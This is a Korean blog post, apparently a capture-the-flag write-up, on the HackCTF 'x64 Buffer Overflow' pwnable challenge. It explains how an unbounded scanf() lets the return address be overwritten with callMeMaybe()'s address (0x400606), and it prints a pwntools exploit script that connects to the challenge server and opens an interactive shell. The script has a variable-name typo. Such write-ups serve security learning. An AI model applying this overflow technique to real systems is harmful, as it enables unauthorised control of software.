tmxklab
[HackCTF/Pwnable] x64 Buffer Overflow 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3004
1) 접속
- hi를 입력하면 Hello와 함께 출력되면서 종료
2) IDA(Pseudocode)확인 - main()
- scanf()를 통해 s변수에 입력의 제한없이 문자열을 받음 -> bof 취약점 존재
- 입력받은 s변수와 "Hello"출력
3) IDA(Pseudocode)확인 - callMeMaybe()
- main()에서 호출되지 않았으며 호출해야할 함수
2. 접근방법
1) 스택구조(main)
2) 결론
- scanf()를 통해 ret의 주소를 callMeMaybe()의 시작주소로 변조
3. 풀이
1) callMeMaybe() 주소 확인
- callMeMaybe() 주소 : 0x400606
2) 공격 코드 작성
from pwn import * # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3004)
# SFP까지 dummy값으로 채움
payload = "A"*280
callmemaybe = 0x400606
payload += p64(callmemaybe)
p.sendline(paylaod)
# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()
3) 공격실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Simple_Overflow_ver_2 (0) | 2020.01.27 |
---|---|
[HackCTF/Pwnable] x64 Simple_size_BOF (0) | 2020.01.27 |
[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!! (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_FSB (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_BOF #2 (0) | 2020.01.21 |
Comments